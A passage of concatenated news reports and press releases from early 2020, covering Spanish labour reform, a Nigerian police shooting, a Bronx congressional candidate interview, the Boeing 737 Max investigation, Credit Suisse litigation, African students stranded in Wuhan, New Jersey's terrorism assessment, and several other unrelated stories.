medical note from their doctor. Rajoys 2012 reforms fitted businesses like a glove, as a spokesperson for CCOO, Spains largest labour union, said after the court announced its decision. It should be noted that the governments reversal of Rajoys policy has been made rapidly and almost covertly, without consultation with the business world. Yet this is precisely what was promised by Spains economy minister Nadia Calvino, who recently said that any attempts to roll back 2012 legislation will depend on input from companies. Perhaps the government didnt bother consulting business for this tweak because it knew what the response would be. Indeed, one wonders whether the new administration will only consult on changes that are likely to go down well with companies. Rajoys anti-sick-leave reforms always seemed anomalous in Spain, a country where work is regarded as just one of the important things in life, not THE most important. Ones job comes somewhere on the hierarchy of spending time with family and friends and having a good time, and not necessarily first. This is especially true in alegria-infused Andalucia, where there is always time for a cana, tapa and catch-up, regardless of whether its a Tuesday lunchtime or a Friday evening. The idea of toiling until you drop has never caught on here, as it has in some northern European countries and in the United States. Despite this laid-back attitude, job security is still important. Unfortunately it remains a rare thing in Spain, with many workers on temporary contracts valid for just a few weeks or months. The countrys unemployment rate is around 14%, substantially reduced from a crisis peak of 27% but still the second-highest in the EU after Greece. Any attempt to constructively address either of these problems, such as the one announced by the government this week, should therefore be welcomed. The Olomore axis of Abeokuta, the Ogun State capital, was on Thursday thrown into pandemonium following a violent clash between the special anti-cultism team of the police and traders. Two traders were shot in the fracas, with the police describing the shooting as a mistake. A witness said some police officers attached to Lafenwa division were allegedly pursuing some suspects believed to be hardened criminals in the area, but were prevented by some traders. In anger, the squad reportedly opened fire on the traders. Two of the traders were hit by the bullets. Angry protesters then set up bonfires, as the protest spread to other areas, forcing many motorists to make detours, as passersby took to their heels. Police react Meanwhile, the Ogun State police spokesman, Abimbola Oyeyemi, has reacted to the allegations. He confirmed that one of the police officers mistakenly shot the two traders. He explained that the officer shot in the air to disperse the protesting traders, but his bullet mistakenly hit the two victims. He said the officer has been arrested and is currently undergoing interrogation, adding that the Commissioner of Police, Kenneth Ebrimson, has ordered an investigation into the case. What actually happened today was that our men at Lafenwa division received an information early in the morning by members of the public that there are some fracas (sic) at Olomore area. As a result of that, the DPO Lafenwa division mobilised some of his team and they went straight to the place, he said. They arrested four suspectsas the police were about to move with the suspects, some hoodlums swept on them that they are not going to take those people away. In a bid to scare those people away, one of the anti-cultist men fired into the air and unfortunately a stray bullet hit two men. The men have been rushed to the hospital and they are responding to treatment. The person who fired the shot has been ordered to be arrested and he is currently undergoing interrogation at the State Criminal Investigation Department, he said. On Friday morning, Rep. Alexandria Ocasio-Cortez announced that her new Courage to Change PAC will endorse progressive congressional candidate Samelys Lopez. Lopez, a Bronx native who is running for New Yorks 15th Congressional District, is the only candidate from New York of seven female House candidates that won the backing of Ocasio-Cortezs PAC. The endorsement may give Lopez, a community organizer and housing advocate, a much needed boost to her campaign for Rep. Jose E. Serranos seat in the South Bronx. She is campaigning in a crowded field of around 10 candidates, including well-known politicians like New York City Council members Ritchie Torres, Ruben Diaz Sr. and Ydanis Rodriguez, Assemblyman Michael Blake and former New York City Council Speaker Melissa Mark-Viverito. Lopez has raised just under $36,000, according to the latest filings, while Torres, the frontrunner on the fundraising front, has brought in a whopping $1.14 million. In an interview on Friday, Lopez weighed in on what the endorsement means to her campaign, how it might help her catch up on fundraising, and the kinds of issues that she if focused on. The interview has been edited for length and clarity. How did the PACs endorsement come about? They reached out to get a sense of what was going on in my campaign. And basically I told them what was going on, what we were doing in terms of the volunteer excitement and the grassroots donations that we've gotten. Over 80% of our funding has come from small individual grassroots donations. I don't accept a dime of corporate PAC money, lobbyists money, real estate developer money and pharmaceutical money. I mentioned that we have the New York City DSA endorsement. And that reinforced that I've been organizing in the community for a very, very long time. I'm an advocate in the housing justice movement, so after that, it was really their call to decide what they wanted to do in the ring. Is the endorsement somehow related to your relationship with AOC? I think it was completely separate from the endorsement because she's been saying for a long time that she's looking at the race closely. So it's really up to her to decide who she wants to support. And it's really important to stress that Courage to Change PAC endorsed the campaign. It looks like they saw that our campaign fell in line with the values that they're fighting for, and the need to have the parties be a party of the working class and a party that is about transformative justice. One of the things that I've been saying on the campaign trail since the beginning, since I announced my campaign in late September 2019, is that we need to leave behind the transactional politics of a broken system that currently defines the lay of the land. We need to embrace the politics of transformation, which means unapologetically centering working class communities, the grass roots, and people that don't have a voice. People that don't have a place in our political system. We need to be identifying and intentional by identifying people that haven't been a part of the conversation and making sure that we fight for them and fight for that their leadership and experiences, which have directly impacted people, set policy in the country. And right now, that's not happening. What does this endorsement mean for your campaign? I think it'll be really good for our campaign because it'll give us more visibility. It'll help us further coalesce the leftist support here in New York City, and hopefully in the country. It would be great to have a sounding board because one of the things that the PAC is promising to do is assist a little bit with the campaign in terms of helping with support and things like that. So I'm very much looking forward to that. But the most important thing this endorsement has done for me personally, our volunteers and the campaign is reinforced that we're on the right track, that we have the right values that are leading this movement. It's a reinforcement that when you put the community first, focus on the moment and not yourself, only focus on the most directly impacted. This is the mission of the PAC. If you go to their website, you'll see that they focus on making sure that directly interactive people are at the helm of leadership. This endorsement has meant recognition that the collective suffering of our community is what we need to be focusing on and what we need to prioritize when making policy. When you focus on the needs of the most marginalized and oppressed in the community and come up with laws that address them, everybody in society benefits. The Courage to Change PAC recognizes that. And that is the main reason why I'm honored to have gotten its endorsement today. Is fundraising important to you and your campaign? I want to stress that fundraising obviously is important for any grassroots candidate, especially when you're in a race like mine. But what I just said is even more important in terms of reinforcing the values and the need to have directly impacted people be a part of political leadership, because eventually, that's what's going to transform the system and the Democratic Party. We transform the party from within and without because right now, it's not necessarily reflective of the needs of the working class people's color and the most marginalized LGBTQIA community. We need to be real about taking big money out of politics. This is what this practice is seeking to do, as well putting a path for people, and for current people that have stood up to the powers that be and done what's right for the community and put the community first. In addition to that, that's a nice side effect. But it's really great for grassroots candidates like ours and many races in the country to be recognized in that way. Because that gives us the moral courage and the conviction to know that what we're doing is the right thing and that we're advancing the movement together. That is the reason that I'm most thrilled about getting this endorsement. What other endorsements has your campaign received so far? We've received endorsements from Sister Diaspora For Liberation, Our Progressive Future, People for Bernie, New York City Democratic Socialists of America (DSA), the Bronx/Upper Manhattan branch of DSA and Matriarch. Where does this place you in the field? Does it give you a boost over other progressive candidates, such as Chivona Newsome? In terms of where I'm at in the race, I'm focusing on our campaign and on a door-knocking operation on the ground. So that's basically where I'm personally devoting all of my efforts to. I'm not really focusing on anybody else who's running. Obviously, I have a lot of respect for Chivona Newsome, but I'm focusing on my race and what we need to do to win and to coalesce the leftist support throughout the city and throughout the country. I think that these endorsements are a great step in that direction. And we're going to keep centering the needs of the most marginalized people that haven't been heard and haven't been seen. And one of the most important things that we're doing is, that were being very intentional about building a multiracial working class coalition in the community that centers on every constituency in the neighborhood, not only the Latino community, the African American community, the West African community, the Garifuna community of Honduras, and the Mexican community. There are many diverse communities here in the South Bronx that are a microcosm of the world. And we're being very intentional in our campaign about centering every different experience surrounding us with people throughout the district so that we can build a multi-racial working class coalition that represents everybody. So that's what we're focused on. In the past, you have criticized the Bronx Democratic Party. How has it been involved in the race so far? This is about transformation, centering the community and making sure that the community owns their local political process at every level of government. I think that it's healthy to critique, hold the powers accountable and create a space for people to be heard and to be seen. Right now, we're very proud of our efforts at democratizing all this kind of information, because it's people that are directly being impacted by certain issues that need to be at the center of power, whether it's leadership in the community or leadership and politics. That's the kind of space that we're creating in this race and beyond. Even before I announced this race, I had been working to build an independent, grassroots political infrastructure so people can organize and learn the mechanics of the political process here in the Bronx and beyond. We're very proud of our efforts at democratizing that information and introducing a new generation of people to run for these positions without anybody's blessing. What platforms are you using to promote your campaign? We want to take advantage of everything. Obviously, we've been using Twitter, Instagram, we're looking at TikTok and other ways of getting our message out. In a grassroots message and campaign like ours, it is really important to take advantage of every free resource you can. We're also using traditional relational organizing, meeting the community, whether its knocking on doors, meeting people at train stops and going into their homes. We're being invited to meet-and-greet events with our neighbors, and that's a great way of building grassroots political power in a way that outlasts this campaign. One of the things that I've been saying consistently, since I announced this campaign, is organizing should not stop. When you want to win an election, it should continue to grow. The most important thing to me is to make sure that we're growing our movement here on the ground and abroad. We can carve this leftist, very progressive thing that reflects our local politics, values and the needs of the community. The South Bronx has a revolutionary and socialist legacy in the community, if you look in the 70s and the 80s or the rise of the Young Lords. This is an opportunity to stand on the shoulders of the leaders of the past that have paved the way for people like me. We keep building and growing the movement to keep it moving forward. Thats something that's important to me beyond this campaign, because I think that change always starts from the bottom up. It's always led by the movement and people that are angry because they feel like they've been left out. It starts when people reclaim their voices so that we can transform our politics and society. Federal prosecutors investigating Boeing are examining whether the company knowingly misled the Federal Aviation Administration while it was seeking the regulators approval for its 737 Max plane, according to two people familiar with the matter who spoke on the condition of anonymity to discuss an active inquiry. In recent months, prosecutors have questioned several Boeing employees in front of a federal grand jury, with some of their queries focusing on whether Mark Forkner, a top pilot at the company, intentionally lied to the regulator about the nature of new flight control software on the jet, the people said. That software, which is known as MCAS and automatically pushes the nose of the plane down, played a role in two crashes that killed 346 people. The Department of Justice has been investigating Boeing for months, but the information about the grand jury testimony provides some clarity about how prosecutors could be aiming to hold the company accountable for errors that led to the crashes. Mr. Forkner could face criminal charges of lying to the government. The company could also be held liable for potential wrongdoing by Mr. Forkner, because he was a senior employee responsible for Boeings interaction with the F.A.A. group that determined the kind of training pilots would need before flying the Max. Last year, the company made public an instant message chat between Mr. Forkner and his colleague Patrik Gustavsson. In the exchange, from November 2016, months before the F.A.A. certified the Max, Mr. Forkner said MCAS was acting unpredictably in a flight simulator. I basically lied to the regulators (unknowingly), Mr. Forkner said. A prayer leader who was stabbed in the neck in horrifying scenes at a London mosque has been pictured smiling as he recovers in hospital. The victim, named locally as Raafat, is the muezzin at the London Central Mosque, near Regent's Park, and makes the call to prayer. He was knifed in the neck on Thursday during afternoon prayers before being rushed to hospital by paramedics. Footage shared by ITV News showed the man, who is in his seventies, putting on a brave face despite being injured in the knife attack. Police outside London Central Mosque near Regent's Park / PA A 29-year-old man was arrested on suspicion of attempted murder. Witnesses described how the congregation was settling down to pray when the suspect launched a vicious attack on the muezzin at about 3pm. It would have been life threatening if it wasnt for the worshippers who helped stop the guy and apprehend him, said Ayaz Ahmad, adviser to the mosque. Police are not treating the incident as terror-related / Getty Images Members of the congregation restrained the attacker until police and emergency services arrived, Mr Ahmad said. Everybodys reaction was shock and horror, the men were screaming, the mosque adviser added. It was a vicious attack. We live in a society where we hear a lot about knife crime and what have you but actually to physically be in a situation where youre first-hand watching an attempted murder take place its very shocking. The mosque remained open on Thursday night, with worshippers moved from the main hall but continuing prayers. Prime Minister Boris Johnson tweeted: "I'm deeply saddened to hear of the attack at the London Central Mosque. It's so awful that this should happen, especially in a place of worship. My thoughts are with the victim and all those affected." Westminster City Council Leader Rachael Robathan said: "The motives for this attack are unclear, but one thing is absolutely clear - violence has absolutely no place in our City. BAKU, Azerbaijan, Feb. 21 By Elchin Mehdiyev Trend: The appeal of the candidate from the 8th Binagadi constituency Agasif Ibragimov (Shakiroglu), was considered at the meeting of the Azerbaijani Central Election Commission (CEC), Trend reports. In his appeal, the candidate stressed that relevant conditions were not created for the observers and also mentioned other issues, CEC member Valida Kazymova said. Kazymova said that no more violations were revealed except those in one polling station. The CEC member proposed to annul the voting results on the 24th polling station. The proposal was accepted by a majority of votes. Further, the appeal of the candidate from the 11th Garadagh constituency was considered. CEC member Gabil Orujov said that in his appeal the candidate complained about the inaction of the district election commission on a number of issues. "It was revealed that no offences that could affect the voting results were revealed except for the polling station, Orujov added. After viewing the video footage given by the candidate, it was revealed that the violations were committed at the 30th polling station during the vote counting." The CEC member proposed to announce the election results on this constituency invalid. The proposal was accepted after the voting. New "JaJa Margarita" introduced by Cameron Mitchell Restaurants and JaJa Tequila for National Margarita Day We are looking forward to a long and engaging relationship between JaJa Tequila and CMR; and well be announcing upcoming events and activities soon. The companys mission around quality, sustainability and philanthropy are synergistic to CMRs. We were pleased that the Chainsmokers Alex and Drew WHAT: National Margarita Day, Saturday, January 22, 2020 JAJA LOL Margarita (recipe and imagery below), offered exclusively at three restaurant and bar/lounge locations, and created by Andrea Cornwell, Beverage Director, Cameron Mitchell Restaurants WHERE: Ocean Prime Beverly Hills Ocean Prime New York Lincoln Social Rooftop WHEN: Debuts on Saturday, January 22, 2020 COST: Lincoln Social Rooftop: $13.00 Ocean Prime Beverly Hills and NYC: $16.00 JAJA CO-OWNERS: The Chainsmokers, the multi-award-winning American pop duo consisting of Alexander "Alex" Pall and Andrew "Drew" Taggart. In addition to winning a Grammy, they have two American Music Awards, and seven Billboard Music Awards. They also have produced songs with Coldplay, Something Like This, and Halsey, Closer. DETAILS: JAJA Tequila is a small batch tequila that is thoughtfully crafted, sweet and herbal. With the help local jimadores, the three friends-owners learned the importance of only using the best agaves. Aged between 7-8 years, each JAJA agave is cut and cooked in brick ovens for a total of 32 hours. Then each batch is "rested" for 8 hours and fermented for an additional 72 hours, allowing for its unique JAJA flavor. JAJA is produced sustainably and responsibly. Cameron Mitchell Restaurants (CMR) offers varied concepts, ranging from multi-location upscale destinations to single neighborhood favorites. CMR operates 37 restaurants company-wide under 15 different concepts, including the award-winning national Ocean Prime concept with 16 locations in 12 states plus the district of Columbia and Lincoln Social Rooftop, a bar and lounge in the Short North District of Columbus, OH. WHO: David Miller, President and COO, Cameron Mitchell Restaurants, We are looking forward to a long and engaging relationship between JaJa Tequila and CMR; and well be announcing upcoming events and activities soon. The companys mission around quality, sustainability and philanthropy are synergistic to CMRs. We were pleased that the Chainsmokers Alex and Drew had positive experiences and saw the potential for a collaboration after dining in several of our restaurants in and outside of Columbus. Andrea Cornwell, Director of Beverage, Cameron Mitchell Restaurants and Ocean Prime: We are excited to work with JAJA as they build their business through channels that we admire. The craft-oriented, lifestyle driven messaging of Jaja partners well with the evolution of our beverage program. Our mission was to create a Margarita that is representative of our partnership. Its primary focus is the quality of Jaja Reposado, complemented by fresh citrus and finished off with a savory Tajin lime. This is a great snapshot of how we approach the development of our artisanal, fresh bar program. Martin Hoffstein, Co-Founder + COO, JAJA Tequila: "As JAJA continues to expand its presence across the country we are constantly seeking like minded partners who share our vision and that is what we found when we entered this partnership with Ocean Prime and Cameron Mitchell Restaurants. We're looking forward to collaborating on cocktails beyond the JAJA LOL as their artisanal bar program continues to grow and evolve." RECIPE: JAJA, LOL 2 oz. Jaja Reposado Tequila oz. Fresh-squeezed Lime Juice oz. Fresh-squeezed Lemon Juice oz. Fresh-squeezed Orange Juice oz. Agave Syrup Tajin Lime Wedge Dry Ice Smoke Flavor Notes/Description: Fresh, light, a purist approach to a Margarita. A vibrant, natural play on a Margarita that is primarily fresh juice and Tequila. SOCIAL MEDIA: https://www.facebook.com/jajatequila/ https://www.instagram.com/jaja/ https://www.facebook.com/CMRColumbus/ https://www.instagram.com/lincolnsocial/ https://www.facebook.com/OceanPrimeBeverlyHills/ https://www.instagram.com/oceanprimebh/ https://www.facebook.com/oceanprimenewyork/ https://www.instagram.com/oceanprimenyc/ Hashtags: #JAJALOL #NationalMargaritaDay #CMRLincolnSocialRooftop #OceanPrime #OceanPrimeBeverlyHills #OceanPrimeNewYork About Cameron Mitchell Restaurants and Ocean Prime Founded by Cameron Mitchell in 1993, Cameron Mitchell Restaurants, LLC (CMR) has built a diverse portfolio of varied concepts, ranging from multi-location upscale destinations to single neighborhood favorites. Today, CMR operates 37 restaurants company-wide under 15 different concepts, with 20 restaurants located in Columbus, Ohio. In addition, Cameron Mitchell Premier Events, the premier catering and event planning in Central Ohio, oversees three venues in Columbus. The national Ocean Prime concept has 16 locations in 12 states plus the district of Columbia. The Rusty Bucket Restaurant & Tavern, a sister company of CMR, currently operates 23 locations in six states. CMR and the various concepts have received numerous culinary, leadership, entrepreneur, community service and readers choice awards. For more information, visit http://www.cameronmitchell.com. As seen on CNN, Forbes and Smart Business, Mitchell shares his story and the wisdom he has gained through the years in his new book Yes is the Answer. What is the Question?, available now -- http://www.cameronmitchell.com. Ocean Prime is a modern American restaurant and lounge from the award-winning Cameron Mitchell Restaurants. The nationally-acclaimed Ocean Prime delivers an extraordinary experience with stunning settings, an impressive menu of seafood and prime cuts of steak, signature cocktails, a Wine Spectator-honored wine list and truly genuine hospitality. From the kitchen and bar, there is an appreciation for ingredients that comes through in every dish. The menu is both classic and modern featuring lighter items like sushi and poke, to indulgent seafood presentations, juicy steaks and decadent desserts. Each location is unique and designed to fold into the energy of the city where its located. With stunning spaces, luxe details and truly genuine hospitality, Ocean Prime is an ideal place to socialize, talk business, celebrate and indulge. Ocean Prime has 16 locations in 12 states plus the district of Columbia. For more information, please visit http://www.ocean-prime.com. About JAJA Tequila JAJA Tequila (pronounced ha ha) was founded in 2018 by brothers Maurice and Elliot Tebele and their childhood friend Martin Hoffstein, with the mission of creating a fun, modern and authentic luxury tequila. Soon after they expanded their team to include The Chainsmokers (Alex Pall and Drew Taggart) as co-owners of the brand. All the products in JAJAs portfolio are produced using slow non-industrial methods at a heritage distillery led by a group of distillers who have over fifty years of experience in the industry. The brand has an undying commitment to sustainability including their support of TIP (the Tequila Interchange Project), which enforces fair pay and proper healthcare for the jimadores and partners directly with agave farm owners to leave a portion of their crop untouched for pollination by the local bat population. JAJA offers three varieties Blanco, Reposado and Anejo and is available nationwide. ### Mayank Singh By Express News Service NEW DELHI: Army chief General Manoj Mukund Naravane welcomed the Supreme Courts verdict of granting permanent commission and command postings to women officers. It will give purpose and clarity in moving forward, he said, adding that the Army has been championing gender equality. The Supreme Courts decision is a welcome one as it brings out a sense of clarity and purpose to gainfully employ officers for better efficiency of the organisation. I must assure that everybody in the Indian Army, including women officers, will be given equal opportunity to contribute to the nation as also progress in their careers, he said. The Army does not discriminate any soldier based on religion, caste, creed, or even gender. The outlook has been throughout like this, and that is why we started inducting women officers as early as in 1993. The Army has taken the initiative to induct women in rank and file, and the first batch of 100 women soldiers is undergoing training at Corps of Military Police Centre and School, he said.Letters are being sent to women officers asking whether they will prefer permanent commissioning.On Pakistans Border Action Teams, he said alert soldiers foil any initiative from Pakistan side. Regarding the situation in J&K, General Naravane said terror incidents have seen a downturn and the Army is maintaining pressure on terror groups. There is an external dimension to the decrease in cross-border terrorism, he said, in oblique reference to the ongoing Financial Action Task Force plenary in Paris. A sub-group of the FATF on Tuesday recommended continuation of Pakistan in the Grey List for its failure to check terror funding. Armys headquarters to come under one roof The Army is slated to get a modern office space housing all its headquarters which are scattered all across Delhi. Presently, the Army headquarters is split into eight pockets. Offices of senior functionaries, especially the Army chief and his deputy will always be co-located with the Defence Ministers office wherever that might be, said Gen Naravane. LONDON, Feb. 21, 2020 /PRNewswire/ -- For the second time in as many months, a court has ordered Credit Suisse to turn over documents to victims of an estimated $1 billion fraud carried out by Credit Suisse personnel over seven years, despite the bank's own efforts to shield the information from its own clients, Metigen, which represents certain victims, announced today. This month, the Supreme Court of Bermuda ruled that Credit Suisse Life, the Bermuda insurance division of Credit Suisse, must hand over documents to victims that the bank had thus far attempted to shield from its own clients. The ruling follows a similar decision by a federal court in New York. "For five years, the client victims of Credit Suisse have asked the bank to provide answers explaining how it missed such a brazen fraud committed by its own employee for almost a decade," said a Metigen spokesman for the affected victims. "At every turn, Credit Suisse has fought its own clients and refused to help. We are pleased that now courts in two countries have ordered Credit Suisse to finally do what's right and look forward to reviewing any information produced to determine the extent of any legal claims the victims may have against the bank." The documents include emails between Credit Suisse employees during the fraud and details of the transactions which led directly to estimated losses of $400m on the life insurance policies. The Court also ordered that Credit Suisse should provide details of the PwC internal report into the crime which Credit Suisse has refused to share with the affected clients. The documents also concern the fees and commissions paid to other divisions of Credit Suisse as a result of illegal activity on the life accounts. The Chief Justice gave his preliminary view that Credit Suisse Life should pay the costs of the two-day hearing, which involved cross-examination of the Bank's Swiss law experts by English leading counsel. The ruling comes as Credit Suisse seeks to recover from the resignation of CEO Tidjane Thiam on 7th February amid an ongoing spying scandal and reported power struggle with the Chairman, Urs Rohner, whose own resignation was demanded by some of the Bank's largest shareholders. Thomas Gottstein, who ran Credit Suisse's Swiss operations, has been appointed the new CEO with a brief to clear up the Bank's culture. The spokesperson added: "We are delighted with the ruling and look forward to Credit Suisse's full compliance with the Court's decision. Credit Suisse has continually flouted its obligations to discover all relevant documents, and has tried to hide behind Swiss law in actively trying to prevent our clients' efforts to uncover the truth behind the huge losses and the failures of Credit Suisse entities to prevent the same. It has been clear for some time that there are fundamental flaws in Credit Suisse's corporate culture and failures at the highest level. We hope that the appointment of Mr. Gottstein, with his experience in wealth management, will lead to a change in direction for Credit Suisse, including in relation to how clients are treated. We look forward to working with him to bring this situation to a conclusion." SOURCE Metigen Limited A medical staff wears protective gear at a new section specialized in receiving any person who may have been infected with coronavirus at The Quinquinie Hospital in Douala, Cameroon, on Feb. 17, 2020. (Josiane Kouagheu/Reuters) Traumatized Africans Stranded in China by Coronavirus Plead to be Brought Home MUKONO, Uganda/YAOUNDE, CameroonWhen Margaret Ntale Namusisis three daughters called her in Uganda to say they were being quarantined at their university in Wuhan, China, because of the coronavirus outbreak, she sent money and told them: Run very fast and do shopping. Valeria, Veronica and Vivian did just that. But nearly one month on, with no help from their government, they are now under lockdown in a crowded apartment with orders to stay indoors with the windows closed. Food, funds and morale are running low. They are traumatized, said Namusisi, who wakes up at 3 a.m. every day to talk to her daughters over the Chinese messaging service WeChat. They ask, has Uganda given up on us? Countries across the world have flown their nationals home from Chinas quarantined Hubei Province, the epicenter of the coronavirus outbreak. But no sub-Saharan African country has done so, leaving thousands stranded. Weve gone to parliament, weve gone to the ministry of health, weve gone to the ministry of foreign affairs and taken them our petition to bring back our children, said Namusisi, nearing tears. Reuters spoke to families from Cameroon, Uganda, Senegal and Ethiopia with similar tales of frustration. Many have set up associations to pressure their governments to act, through letters and petitions. Governments across Africa have said they plan to send money to students to help with expenses. Cameroon said it was sending about $82,000 to help its citizens stuck in Hubei. However, many including Senegal and Uganda, say they do not have the resources to look after coronavirus patients at home and their nationals would be safer in China. But while Uganda said last week that it would send $61,000 to students stuck in Wuhan, the Namusisi sisters have received nothing so far. They survive on one meal a day of noodles or rice, their mother said. Other foods are now too expensive: one kilo of beef costs $13, one tomato a dollar. They are not alone. Dagmawi Demelash Mengistu, a business student from Ethiopia, said his school has provided latex gloves and masks, but his government has not responded to students calls to be flown home. He too is locked inside, short of food and money. We have seen one plane come for four students in Wuhan to evacuate them, just one plane, said Mengistu who is part of a student association that has asked the Ethiopian embassy to fly them home. Ethiopian airlines havent stopped flights from China so that is a shot to the gut when you see they are still continuing flights but cannot take their citizens out. Ethiopian authorities did not respond to requests for comment. Roger Michel Kemkuining, a teacher in an electrical engineering school, holds a video call with his son, Pavel Daryl Kem, 21, a student, who is infected with the coronavirus in China, as he sits with his wife Albertine at their house in Douala, Cameroon, on Feb. 14, 2020. (Josiane Kouagheu/Reuters) A Lightning Strike Many African nations are nervous about a little-known virus breaching their borders. Ebola killed over 11,000 people in West Africa between 2013 and 2016. An ongoing outbreak in Democratic Republic of Congo has killed over 2,300. Health officials say those epidemics have prepared countries to keep coronavirus from spreading and the World Health Organization says 24 African nations can test for potential cases. Airport screening and monitoring procedures have already highlighted possible coronavirus cases across the continent. The Africa Centers for Disease Control and Prevention last week called on governments to bring Africans home. But this has provided little comfort for those stranded in China or their families back home who have received little or no communication from their governments. Roger-Michel Kemkuining, a Cameroonian, found out that his student son Pavel had contracted coronavirus from a statement posted online by Yangzte University, where Pavel was studying. The statement, seen by Reuters, said the university had informed the Cameroonian embassy and the parents, but that was news to Kemkuining. Cameroons health ministry spokesman, Clavere Nken, confirmed that the family had found out via social media. He said he had since spoken to them by phone. Yangzte University did not immediately respond to a request for comment. Pavel is the only known African to test positive for coronavirus. He has recovered and was released from hospital on Feb. 10 but remains in isolation, he told Reuters. For his father, the situation still rankles. Seeing the statement was like a lightning strike, he told Reuters at his home in Yaounde. I was really dejected. By Elias Biryabarema and Josiane Kouagheu Citing the deadly attack in December on a kosher supermarket in Jersey City, as well as the arrests last year of a number of white supremacists allegedly plotting violent attacks, New Jersey officials Friday said homegrown extremism remains the biggest terrorism threat to the state. The Office of Homeland Security and Preparedness, in its annual assessment report, said of the 44 domestic terrorist incidents reported in the United States last year, four had a nexus to New Jersey. The ever-changing threat landscape in New Jersey and around the country requires us to adjust our strategies to anticipate new threats while remaining ready to combat those already existing, said Jared Maples, who heads the states homeland security agency. While officials said there currently are no credible threats to New Jersey, their assessment specifically warned of the mounting danger from white supremacist groups increasing the threat level from such extremists from moderate to high, based on the number of threats, plots, and attacks nationwide in 2019. Among most deadly of those attacks was the El Paso attack in August, when a gunman warning of an Hispanic invasion killed 22 and injured 24 at a Walmart store. Here in New Jersey, the report noted the arrest of Richard Tobin of Brooklawn in November, in connection with a plot to attack African Americans with a machete at the Menlo Park Mall in Edison. Authorities also charged that he had connections to a loosely organized neo-Nazi network that calls itself The Base, which looked to vandalize synagogues in Wisconsin and Michigan. In June, a Sussex County man with alleged white supremacy leanings was indicted on 39 criminal counts including the possession of an arsenal of weapons and sending his ex-girlfriends Jewish employer a photo of the woman wearing a Nazi SS cap. Michael Zaremski was indicted on weapons charges and bias intimidation. And a Salem man who admitted lying about his ties to a white supremacist group when applying for a federal security clearance was sentenced to six months in prison. Fred C. Arena, 41, was a member of the hate group Vanguard America, authorities said. Earlier this month, the Anti-Defamation League said incidents of white supremacist propaganda distributed across the nation jumped by more than 120% between 2018 and last year. It reported 2,713 cases of circulated propaganda by white supremacist groups, including fliers, posters and banners, compared with 1,214 cases in 2018. That material included screeds of hatred against Jews, LGBTQ people and other minority communities. Oren Segal, director of the Leagues Center on Extremism, said the prominence of what he called more subtly biased rhetoric in some of the white supremacist material emphasized patriotism, which he took as a sign that the groups are attempting to make their hate more palatable for a 2020 audience. Since January 2019, the Office of Homeland Security and Preparedness said there have been 168 reported instances of white supremacist propaganda distribution in New Jersey, compared to 46 in 2018. Officials said most were in the form of flyers placed in public venues and higher education institutions throughout the state. According to the new state terror assessment, white supremacist extremists will pose a high threat to New Jersey in 2020 as supporters of this ideology demonstrate their willingness and capability to carry out attacks, direct and inspire sympathizers online, and attempt to network globally. At the same time, the report said homegrown violent extremists overall will continue to pose a threat to the state, as foreign terrorist organizations encourage supporters to kill Americans. In testimony before Congress last month, Maples also raised red flags over how domestic extremists fund their activities. While he said lone offenders will likely be self-directed and self-funded to carry out their goals, other more organized groups engage in selling counterfeit goods, drug and weapons trafficking, cigarette smuggling, and various other fundraising methods. We cannot discount the future use of crypto-currencies as a means to fund acts of domestic extremism within New Jersey and across the United States, he testified, noting that foreign terrorist organization are already using Facebook and other social media services to solicit funding through bitcoin. He noted that in 2017, Andrew Anglin, publisher of neo-Nazi blog The Daily Stormer, received a bitcoin donation after the Charlottesville attack worth approximately $60,000. Investigators are still trying to find out where David Anderson and Francine Graham got the money to carry out the hours-long attack on a Jersey City kosher market in December, killing three inside the store and a police officer a mile away before they were gunned down themselves. Anderson was believed to have had ties to the Black Hebrew Israelites, which teaches that blacks are the true descendants of the Israelites of the Bible and has been labeled a hate group. Ted Sherman may be reached at tsherman@njadvancemedia.com. Follow him on Twitter @TedShermanSL. Facebook: @TedSherman.reporter. Find NJ.com on Facebook. Have a tip? Tell us. nj.com/tips Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. The launch of three new routes this summer, coupled with an increase in frequencies and capacity on existing services, has fuelled hope that Ljubljana Airport could recover from last Septembers collapse of Adria Airways earlier than initially anticipated. Tel Aviv-based Israir Airlines recently joined Iberia and Windrose Airlines in announcing new services to the Slovenian capital. Although all three plan to maintain seasonal summer flights, airport operator Fraport Slovenija hopes some operations could be extended into the winter. We are convinced that the increasing number of tourists traveling between Slovenia and Israel will result in good loads. We hope that the carrier will maintain the route during the winter timetable as well", the operator said. Capacity to/from Ljubljana by carrier in 2019 Airline Capacity Adria Airways 548.005 easyJet 122.436 Turkish Airlines 101.753 Air Serbia 51.400 Aeroflot 49.394 Air France 37.028 Transavia 34.661 LOT Polish Airlines 29.843 Wizz Air 26.528 Montenegro Airlines 22.658 Fraport previously said it would take a year-and-a-half for the airport to fully recover following Adrias bankruptcy on September 30, 2019. This January, the airport registered a passenger decline of 27.1%. In 2019, Ljubljana Airport offered 1.115.294 departure seats. It processed 1.721.355 travellers, with Adria providing a significant share of transfer passengers, which are counted twice by the airport. Fraport Slovenija is working with airlines to meet the traffic demand left by Adrias exit from the market. This includes quick-start capacity increases, as well as new scheduled flight services in the near future. Furthermore, Fraport Slovenija remains strongly committed to developing Ljubljana Airport and to further growing passenger and cargo traffic, the operator previously noted. Capacity by route to/from Ljubljana (two-way) in 2019 Route Capacity Istanbul - Ljubljana 203.686 Frankfurt - Ljubljana 191.489 Ljubljana - Zurich 132.878 Ljubljana - London Stansted 130.932 Paris - Ljubljana 130.077 Ljubljana - Munich 127.429 Amsterdam - Ljubljana 120.508 Ljubljana - Moscow 104.978 Brussels - Ljubljana 102.567 Ljubljana - Podgorica 98.234 Apart from the abovementioned newcomers, Air France, Aeroflot, British Airways and Montenegro Airlines will all double their operations to the Slovenian capital this summer when compared to last year. Air Serbia, Transavia, LOT Polish Airlines and Finnair will also be adding extra flights, while Brussels Airlines, Lufthansa and Swiss International Air Lines will continue to maintain services to Ljubljana following their launch this winter. Furthermore, Trade Air, Croatia Airlines and Aegean Airlines will run summer charters. The Slovenian Tourist Board has stepped up its activities in an attempt to alleviate the effects of Adrias demise. "Promoting Slovenia as an airline destination is one of the key goals and strategic orientations for Slovenian tourism and the national Tourist Board. Furthermore, promoting Slovenia with the aim of establishing new routes from foreign markets and increasing frequencies on existing services will take place in the coming period, the Tourist Board said. CHARLOTTE, N.C., Feb. 20, 2020 (GLOBE NEWSWIRE) -- LPL Financial LLC , a leading retail investment advisory firm and independent broker-dealer, today announced that financial advisors Jim M. Freisen CFP, CPA and Jordan Celkupa CFP have joined LPL Financials broker-dealer and corporate registered investment advisor (RIA) platforms. They reported having served approximately $155 